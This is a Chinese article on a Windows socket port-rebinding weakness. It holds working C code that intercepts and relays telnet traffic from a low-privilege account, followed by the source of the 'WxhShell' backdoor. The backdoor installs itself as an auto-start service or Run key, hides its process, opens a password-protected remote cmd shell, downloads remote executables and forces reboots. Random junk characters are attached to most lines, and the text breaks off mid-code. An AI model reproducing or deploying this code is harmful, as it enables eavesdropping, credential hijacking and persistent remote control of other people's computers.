在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Haiuf)a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7LKNEll A"p7N?|% saddr.sin_family = AF_INET;
'R?;T[s% KUZ'$oKg saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/O+,vRw\A ><5tnBP|+L bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
WM:we*k8h "w=.2A:q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FjVC&+c Fn$EP:> 这意味着什么?意味着可以进行如下的攻击:
+.5 /4? #O qfyY! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G[)QGZ}8b @ScH"I];uA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Id|38 1+v)#Wj 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7>v1w:cC] -bduB@#2d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W|;
.G9 <SbW
QbN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$D\SueZ G5?Dt-;I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wSnY;Z9W_ U!TFFkX[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]xbR:CYJ (?D47^F & #include
h@t&n@8O? #include
u\.7#D> #include
UC3?XoT\ #include
WTZP}p1 DWORD WINAPI ClientThread(LPVOID lpParam);
j;)U5X int main()
%jim] ]<S[ {
Fz~-m# Ts WORD wVersionRequested;
-#|J DWORD ret;
_6(QbY'JV` WSADATA wsaData;
v|"Nx42
BOOL val;
rx
CSs SOCKADDR_IN saddr;
Mq8jPjL SOCKADDR_IN scaddr;
NAlYfbp int err;
+t})tDPXw SOCKET s;
?,O{,2} SOCKET sc;
7xz|u\?_2 int caddsize;
?(n|ykXwc HANDLE mt;
la[xbv DWORD tid;
3u3(BY{"\F wVersionRequested = MAKEWORD( 2, 2 );
0sLR5A err = WSAStartup( wVersionRequested, &wsaData );
=4 36/O`K if ( err != 0 ) {
sTU`@}} printf("error!WSAStartup failed!\n");
Z>{3t/` return -1;
7ae8nZ3& }
?n8gB7(FA saddr.sin_family = AF_INET;
;gu_/[P Szsq|T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZC@sUj" $RfM}!7? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8.ll]3)) saddr.sin_port = htons(23);
swntz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V \,Z ( {
_t_X` printf("error!socket failed!\n");
^Bf@ I return -1;
VZ5EV'D8! }
d:|X|0#\uH val = TRUE;
CfNHv-jDL //SO_REUSEADDR选项就是可以实现端口重绑定的
|x3.r t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Gcna:w>6d {
a=+qR:wT printf("error!setsockopt failed!\n");
k,LeBCqGcb return -1;
1D sgU6" }
7loIX Qw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N=YRYUo //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s+8
v7ZJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q["CT&0 <b~KR8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%qfql {
"qYPi ret=GetLastError();
G'{$$+U^K printf("error!bind failed!\n");
Py3Xvudv return -1;
A]id*RtY }
*tC]Z&5 listen(s,2);
]L@VpHEj while(1)
-^`]tF`M {
, |,DXw caddsize = sizeof(scaddr);
uW3`gwwlU //接受连接请求
V\^3I7F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yCy4t6`e if(sc!=INVALID_SOCKET)
9
,=7Uh#7 {
-{dsl|Dl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XbsEO>_Z'A if(mt==NULL)
{7LO|E}7 {
p,.+i[V printf("Thread Creat Failed!\n");
^p?O1qTg break;
7{e0^V,\k }
z|;7;TwA }
BFmd`#{l CloseHandle(mt);
Dm?>U1{ }
rV>/:FG closesocket(s);
&=oW=g 2 WSACleanup();
D<B/oSy return 0;
NHG+l)y: }
g}
7FR({b DWORD WINAPI ClientThread(LPVOID lpParam)
sDL@e33Yb {
.{%~4$yu7 SOCKET ss = (SOCKET)lpParam;
gDU~hv SOCKET sc;
r<,W{Va unsigned char buf[4096];
=(Y 1y$ SOCKADDR_IN saddr;
n8n(< long num;
k\W%^Z DWORD val;
[HGGXgN DWORD ret;
>bWx!M] //如果是隐藏端口应用的话,可以在此处加一些判断
?kEcYD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m{4e+&S| saddr.sin_family = AF_INET;
eY^;L_7}p saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MQ>.^]B]o saddr.sin_port = htons(23);
6m"_=.k% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%T4htZa {
b1Bu5%bt,: printf("error!socket failed!\n");
b0|q@!z> return -1;
{KYbsD }
m`l3@Z val = 100;
,y@`wq>O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>Ng7q?h
{
a"uO0LOb ret = GetLastError();
gmkD'CX*A return -1;
)y&}c7xW }
\' (_r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{Bk9]:'$5 {
t>p!qKrE'J ret = GetLastError();
g"gh2#!D return -1;
GInU7y904 }
teh$W<C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*T\-iICw {
0O+[z9 printf("error!socket connect failed!\n");
8q*MhH>6I closesocket(sc);
U9GmkXRix closesocket(ss);
eV$pza return -1;
mVFz[xI }
-7\Rl3c while(1)
SEsc"l8 {
ENW>bS8e` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"X4L+]"$g //如果是嗅探内容的话,可以再此处进行内容分析和记录
~RGZY/4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
p""#Gbwj num = recv(ss,buf,4096,0);
~Vq<nkWS if(num>0)
v3SH+Ej4 send(sc,buf,num,0);
#hvLv else if(num==0)
AW3\>WC break;
QB p`r#{I{ num = recv(sc,buf,4096,0);
<>\s#Jf/ if(num>0)
P F5;2 send(ss,buf,num,0);
Ba==Ri8$ else if(num==0)
Gh;Ju[6 break;
`|@# ~ }
A;VjMfoB closesocket(ss);
<8#Q5 closesocket(sc);
IH|PdVNtg return 0 ;
Zo`Ku+RL2' }
VbR/k,Co 0ant0< Fr/3Qp@S ==========================================================
O9y4.`a" Vp{e1xpY 下边附上一个代码,,WXhSHELL
\7M+0Ul1 "J:~Aa%_ ==========================================================
Qx{k_ye`
$%~-p[)<(P #include "stdafx.h"
v,z s
dr"d %Ci`OhT #include <stdio.h>
PAG.],"D #include <string.h>
0?kaXD #include <windows.h>
GQ<]Sd}[ #include <winsock2.h>
h&Thq52R #include <winsvc.h>
|tL57Wu93 #include <urlmon.h>
=\CJsS. 9+<%74|, #pragma comment (lib, "Ws2_32.lib")
$B6CLWB #pragma comment (lib, "urlmon.lib")
@pq#? .Y B}w #define MAX_USER 100 // 最大客户端连接数
HsrIw #define BUF_SOCK 200 // sock buffer
O%RkU?ME #define KEY_BUFF 255 // 输入 buffer
jSa9UD Q|40
8EM #define REBOOT 0 // 重启
qFEGV+ #define SHUTDOWN 1 // 关机
~P&Brn"=Rs .KiJq:$H #define DEF_PORT 5000 // 监听端口
F\&Sn1>k =2&/Cn4 #define REG_LEN 16 // 注册表键长度
S;a'@5 #define SVC_LEN 80 // NT服务名长度
K"~Tk`[0Q _ 4:@+{ // 从dll定义API
QP/6N9/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Wr3j8"f/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fBCW/<Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E({+2}=1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
l|#WQXs*c{ 52+;j[ ]/O // wxhshell配置信息
!<9sOvka{ struct WSCFG {
gq9D#B int ws_port; // 监听端口
1,cd[^`. char ws_passstr[REG_LEN]; // 口令
Gok8:, int ws_autoins; // 安装标记, 1=yes 0=no
]L0GIVIE char ws_regname[REG_LEN]; // 注册表键名
b~F(2[o char ws_svcname[REG_LEN]; // 服务名
xs<~[l char ws_svcdisp[SVC_LEN]; // 服务显示名
?v-Y1j char ws_svcdesc[SVC_LEN]; // 服务描述信息
jG($:>3a@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D(3\m) int ws_downexe; // 下载执行标记, 1=yes 0=no
jDI )iW`P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8#% Sq=/+M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5~(.:RX:q zJ;K4)"j };
sj;8[Xy's 97"dOi!Wh // default Wxhshell configuration
Hx;ij? struct WSCFG wscfg={DEF_PORT,
gucd]VH "xuhuanlingzhe",
VAkZ@
u3'~ 1,
u`E24~ "Wxhshell",
eL)*
K> T "Wxhshell",
BcJ]bIbKb "WxhShell Service",
vfID@g`!q+ "Wrsky Windows CmdShell Service",
3{e7j6u\ "Please Input Your Password: ",
[hy:BV6H+ 1,
(qn ;MN6< "
http://www.wrsky.com/wxhshell.exe",
x!\FB.h4!( "Wxhshell.exe"
|~'D8 g:Ak };
-rE_ pV; }sTo,F$ // 消息定义模块
uP,{yna( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
s|3@\9\ char *msg_ws_prompt="\n\r? for help\n\r#>";
)
V}q7\G~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k+k&}8e char *msg_ws_ext="\n\rExit.";
$'$#Xn,hU char *msg_ws_end="\n\rQuit.";
f.f5f%lO~ char *msg_ws_boot="\n\rReboot...";
*We.?"X']. char *msg_ws_poff="\n\rShutdown...";
?O1:-vpZ char *msg_ws_down="\n\rSave to ";
qGndh g8+w?Zn} char *msg_ws_err="\n\rErr!";
]TTX<R
ZLr char *msg_ws_ok="\n\rOK!";
0,)Ao8 _ED,DM char ExeFile[MAX_PATH];
J&,N1B int nUser = 0;
}@IRReQ HANDLE handles[MAX_USER];
e|wH5(V int OsIsNt;
z4l
O Dd+ f,$ SERVICE_STATUS serviceStatus;
%(4G[R[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
nnBgTtsC] V\axOz! // 函数声明
hK=\O) int Install(void);
ESOuDD2< int Uninstall(void);
q|PB[*T int DownloadFile(char *sURL, SOCKET wsh);
]:* 8
Mb# int Boot(int flag);
StUiL>9T# void HideProc(void);
k;V4%O int GetOsVer(void);
@\gTi;u/x int Wxhshell(SOCKET wsl);
Q;O\tl void TalkWithClient(void *cs);
f'/@h Na3 int CmdShell(SOCKET sock);
JyPsRpi\ int StartFromService(void);
2N]u!S ;d int StartWxhshell(LPSTR lpCmdLine);
UN`F|~@v COS(pfC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ejj|l
VOID WINAPI NTServiceHandler( DWORD fdwControl );
>:l;W4j "cerg?ix // 数据结构和表定义
j7;v'eA`;7 SERVICE_TABLE_ENTRY DispatchTable[] =
/>fP )56* {
'BT}'qN {wscfg.ws_svcname, NTServiceMain},
?f+w:FO {NULL, NULL}
G?-27Jk8 };
U_a)g
X 8kZ~ // 自我安装
v4L#^Jw(^p int Install(void)
j=v 1:E {
.8is!TT char svExeFile[MAX_PATH];
o l67x HKEY key;
1jZ:@M: strcpy(svExeFile,ExeFile);
< 4DWH Zl]Zy}p* + // 如果是win9x系统,修改注册表设为自启动
e_J_rx if(!OsIsNt) {
]pLQ;7f7D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oF/5mh__(K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9%\<x RegCloseKey(key);
]d"4G7mu`l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RL>Nl ow RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5GK=R aV RegCloseKey(key);
2,Y8ML< return 0;
N"|^AF }
&J|3uY,'j }
3j.Ft*SV }
sg12C else {
SdUtAC2 *(ex:1sW // 如果是NT以上系统,安装为系统服务
ZTG*| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?uUK9*N if (schSCManager!=0)
:W5*fE(i {
kr7f<;rmJ SC_HANDLE schService = CreateService
=
PldXw0 (
AqVTHyCu schSCManager,
ogv86d wscfg.ws_svcname,
J'.:l} g!1 wscfg.ws_svcdisp,
]s jFj SERVICE_ALL_ACCESS,
/U<-N'| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
uF>I0J#z? SERVICE_AUTO_START,
=SLP}bP{: SERVICE_ERROR_NORMAL,
|0(Z)s, svExeFile,
b:7;zOtF NULL,
[!{*)4$6 NULL,
64}Oa+*s NULL,
DLE|ctzj[7 NULL,
Kp"mV=RG2T NULL
!@-j!Ub );
oaI7j=Gp if (schService!=0)
NFGC.< {
Ns9cx CloseServiceHandle(schService);
1?HUXN#, CloseServiceHandle(schSCManager);
eif<aG5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
} oJ+2OepN strcat(svExeFile,wscfg.ws_svcname);
?mY )m
+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zdn e2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P*/p x4;6 RegCloseKey(key);
/s6':~4 return 0;
xkl'Y * }
\Ja%u"DA }
e =&
abu CloseServiceHandle(schSCManager);
ld94ek }
yY*OAC }
D@qq=M uc%75TJ@ return 1;
WX
79V }
/-4i"| ~! ]FF}6 // 自我卸载
:<%K6?'@^ int Uninstall(void)
!.L%kw7z {
[7]p\'j HKEY key;
qB@]$ }.gDaxj if(!OsIsNt) {
G5zZf~r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
df#DKV: RegDeleteValue(key,wscfg.ws_regname);
`e~/ RegCloseKey(key);
(|ga#%iI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^`YSl*: RegDeleteValue(key,wscfg.ws_regname);
}K;@$B6,@ RegCloseKey(key);
F=B>0Q5 return 0;
L3nHvKA] }
Opmb }
xpFu$2T6P. }
e }/c`7M else {
UuT>qWxQ8 DcoTa-~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3Q[]lFJ}F if (schSCManager!=0)
qfppJ8L {
65ijzZL; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(Tn*;Xjq if (schService!=0)
0"u*K n {
qChS} Q if(DeleteService(schService)!=0) {
^]wm Y CloseServiceHandle(schService);
4'+/R%jk" CloseServiceHandle(schSCManager);
-N5r[*> return 0;
S=[K/Kf- }
QfU
0*W?r CloseServiceHandle(schService);
GfQMdLy\Z }
;eG%#=> CloseServiceHandle(schSCManager);
bm%2K@ /U }
Ym&_IOx }
2b1LC!'U ..<(HH2 return 1;
l/LRr.x }
w[PW-m^` h'UWf"d // 从指定url下载文件
E( 8!VY ^ int DownloadFile(char *sURL, SOCKET wsh)
xi;SKv;p {
z^~uq: HRESULT hr;
S_c#{4n char seps[]= "/";
peGXU/5.I char *token;
T>n,@?#K char *file;
BEPDyy char myURL[MAX_PATH];
j/ 9FiuK char myFILE[MAX_PATH];
+ qpD>5# (U!WD`Ym strcpy(myURL,sURL);
HtY\!_Ea token=strtok(myURL,seps);
I"sKlMD while(token!=NULL)
l:Ci'= {
TKoO\\ file=token;
} M'\s token=strtok(NULL,seps);
9jaYmY]~ }
3dadeu^{A E'[pNU*"x- GetCurrentDirectory(MAX_PATH,myFILE);
28X)s!W' strcat(myFILE, "\\");
}}grJh>tGg strcat(myFILE, file);
f(D?g send(wsh,myFILE,strlen(myFILE),0);
"793R^Tz send(wsh,"...",3,0);
K+T`'J4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F1Egcx/$V if(hr==S_OK)
t47 f$gq return 0;
34JkB+#a else
c)@M7UK[ return 1;
Vl^jTX5N 5I T'u3V }
BHZGQm s}|IRDpp // 系统电源模块
o>U%3-+T^J int Boot(int flag)
w^R5/#F_r {
s_`wLQ7e HANDLE hToken;
7jts;H= TOKEN_PRIVILEGES tkp;
( }JX ]- 22tY%Y9 if(OsIsNt) {
6EX:qp^` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cty~dzX^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9Od
Kh\F ( tkp.PrivilegeCount = 1;
z_JZx]*/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8qS)j1.! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1%EY!14G+ if(flag==REBOOT) {
?_<ZCH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:Oq!.uO return 0;
qf24l&} }
WHE*NWz>q else {
zKfb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rQisk8% return 0;
*#UDMoz< }
0C3Yina9
* }
e5`{*g$i). else {
A.WJ#1i}E if(flag==REBOOT) {
cO(|>&tJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J=4S\0Z* return 0;
f+<-Jc }
1RRvNZW else {
)}WG` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wy) Frg return 0;
%HYC-TF# }
m}
Yf6:cr }
u{6*}6@fi OY"{XnPZ return 1;
/jj}.X7yH }
)%,bog(x x(mY$l,il // win9x进程隐藏模块
krz@1[w-j void HideProc(void)
[FyE{NfiJ% {
w`#lLl
B >-)i_C2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S'3l<sY if ( hKernel != NULL )
|:H[Y"$1; {
T w"^I*B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DeXnE$XH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
a |z{Bb FreeLibrary(hKernel);
$:
Qi9N }
d54>nycU~N .P ,\69g~A return;
Atfon&^
}
G VEjB; I[[rVts // 获取操作系统版本
,T&B.'cq int GetOsVer(void)
?]3`WJOj {
,qvz:a OSVERSIONINFO winfo;
gvy%`SSW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i$og
v2J GetVersionEx(&winfo);
.4KXe"~E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~=0zZTG return 1;
t}'Oh}CG else
[%QJ6 return 0;
;! CQFJ= }
kk!}mbA_} 2^qY,dL // 客户端句柄模块
"F%cn@l int Wxhshell(SOCKET wsl)
vRT1tOQ$ {
e?Cbl' SOCKET wsh;
(V e[FhA struct sockaddr_in client;
=BX<;vU DWORD myID;
xhqIE3gd 7J>n;8{%? while(nUser<MAX_USER)
FirmzB Il5 {
A E7>jkHB int nSize=sizeof(client);
2!" N9Adt wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>mt<`s if(wsh==INVALID_SOCKET) return 1;
vZXyc* y@_4OkR@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
YO-O-NEP if(handles[nUser]==0)
39m# closesocket(wsh);
bR;H@Fdg? else
#;^.&2Lt nUser++;
PeE'#&wn }
sKHUf1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Ko -<4wu a_x|PbD return 0;
RqcX_x(p }
gCwg ;c- Z,u:g c+* // 关闭 socket
ld2\/9+n void CloseIt(SOCKET wsh)
2I>C A[qp {
%W`pTvF closesocket(wsh);
>_&+gn${ nUser--;
,"}'NH@ ExitThread(0);
`^w5/v# }
NO9Jre ?}lCS7& // 客户端请求句柄
]qv/+~Qs> void TalkWithClient(void *cs)
AK[9fxrE {
&OuyjW4 uMqo)J@s SOCKET wsh=(SOCKET)cs;
jRq>Sz{8 char pwd[SVC_LEN];
BHFWig*{ char cmd[KEY_BUFF];
7i/?+| char chr[1];
(mz a&WF7 int i,j;
//6m2a y4envjl0 while (nUser < MAX_USER) {
r}vI#;& .g4bV5ma3 if(wscfg.ws_passstr) {
`9$?g|rB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K<|eZhp~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n|^-qy'w //ZeroMemory(pwd,KEY_BUFF);
YR[Ii? i=0;
,L_p"A while(i<SVC_LEN) {
6= 9 JQbI^ef_; // 设置超时
+F67g00T| fd_set FdRead;
OjZ+gl} struct timeval TimeOut;
qe\j$Cjy FD_ZERO(&FdRead);
Wxp^*._q3I FD_SET(wsh,&FdRead);
VMtR4! :q TimeOut.tv_sec=8;
]HCt%5 TimeOut.tv_usec=0;
]A'e+RD4k int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nre8 F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Grw_SVa^ ][qZOIk@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&|9?B!,` pwd
=chr[0]; 1` 9/[2z
if(chr[0]==0xd || chr[0]==0xa) { rVf`wJ6b
pwd=0; $1UN?(r
break; R\X=Vg
} Dy8Go4
i++; Z"E+ TX
} mXa1SZnE
du47la 3
// 如果是非法用户,关闭 socket tpCEWdn5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [x)BQX'
} F]YPq
VSP[G ,J.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2gFQHV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J/
rQ42d
Uvz9x"0[u
while(1) { My5X%)T>P
LFh(.
}
ZeroMemory(cmd,KEY_BUFF); g\6(ezUF*
*!nS4[d
// 自动支持客户端 telnet标准 %0"o(y+zt
j=0; RNIfw1R
while(j<KEY_BUFF) { K$K[fcj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sQt@B#;
cmd[j]=chr[0]; 2f~s$I&l#
if(chr[0]==0xa || chr[0]==0xd) { 8@Y@5)Oc
cmd[j]=0; 9N
u;0
break; bg 7b!t1F
} g[Yok`e[
j++; geT<vh Z6
} UB(8N7_/
|r3eq4$Am
// 下载文件 ,@>B#%Nz
if(strstr(cmd,"http://")) { !X#=Pt[,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U>:p`@
if(DownloadFile(cmd,wsh))
R4qS,2E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9*I:Uh57
else B|!YGfL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2swots
} h3JIiwv0!
else { r2H]n.MT
eJ?SLMLY
switch(cmd[0]) { 9]kWM]B)o
)DoY*'Cl
// 帮助 t,RR\S
case '?': { ?{^T&<18t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ."=Bx2
break; BfhOe~+i
} 1FY^_dvH
// 安装 tp0^%!*9
case 'i': { qKWkgackP
if(Install()) {zg}KiNDZd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,9|;)U?u
else iaPY>EP1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6idYz"P %
break; NEK;'"~
} v|n.AGn
// 卸载 Zb}=?fcL;@
case 'r': { ~omX(kPzK
if(Uninstall()) ^yBx.GrQc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=PjLH&)
else i%-c/ lop
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q@l3XNH|c
break; ^>]p4Q3 6
} TNiFl hq
// 显示 wxhshell 所在路径 F1MPo;e
case 'p': { ,!Ah+x
char svExeFile[MAX_PATH]; ?K}/b[[0v
strcpy(svExeFile,"\n\r"); o<%Sr*
strcat(svExeFile,ExeFile); R#Ss_y
send(wsh,svExeFile,strlen(svExeFile),0); F5EKWP
break; b/2t@VlL
} 6IeHZ)jGj
// 重启 ~Uga=&
case 'b': { vbh\uv&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vwl`A3Y
if(Boot(REBOOT)) bC"#.e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u QCQ$
else { ;:'A{&0N
closesocket(wsh); $L;7SY?
ExitThread(0); 5w{_WR6,
} Jd)|==yD
break; Z=wLNm H
} 6B|IbQ^
// 关机 t0hg!_$bq
case 'd': { "y5c)l(Rg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =Ermh7,
if(Boot(SHUTDOWN)) x+^iEj`gk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /S P^fB*y
else { B;_M52-B
closesocket(wsh); 5a4;d+
ExitThread(0); et)A$'Q
} C;STJrew
break; `)K1[&
} ?$8OVq.w,
// 获取shell K{"(|~=U
case 's': { .7cQKdvcC
CmdShell(wsh); Rz%+E0
closesocket(wsh); |8V+(Vzl
ExitThread(0); \W#M]Q
break; Q- j+#NGc
} -,}f6*
// 退出 u'P@3'P
case 'x': { +FyG{1?<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .pG_j]
CloseIt(wsh); 2sWM(SN
break; u9}=g%TV
} +dIg&}Tr
// 离开 lts{<AU~
case 'q': { J
Wof<D,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >5)$Qtz#
closesocket(wsh); CCQ<.iCU
WSACleanup(); I?5#Q0,b
exit(1); X[|-F3o
break; eX$u
} 42X[Huy]
} 2z&HT SI
} m!w(Q+*j
\vojF\
// 提示信息 \%rX~UhZ=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9?@M Zh
} /ey}#SHm,
} Z*x Q"+\
1j3mTP
return; A"i40 @+
} XeJx/'9o{
l.Qj?G
// shell模块句柄 ANi}q9SC
int CmdShell(SOCKET sock) O z]iHe
{ #t
po@pJsE
STARTUPINFO si; VbJGyjx
ZeroMemory(&si,sizeof(si)); B0nkHm.Sj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ws.F=kS>h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aJK8G,Vk
PROCESS_INFORMATION ProcessInfo; jh2D9h
char cmdline[]="cmd"; ')+'m1N
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B]0`b1t
return 0; zc\e$MO
} c9r, <TR9
3Sf<oYF
// 自身启动模式 )>C,y`,
int StartFromService(void) Kcl>uAgU
{ l]^uVOX
typedef struct l<! ?`V6}
{ c$bb0J%
DWORD ExitStatus; -7$7TD`'7
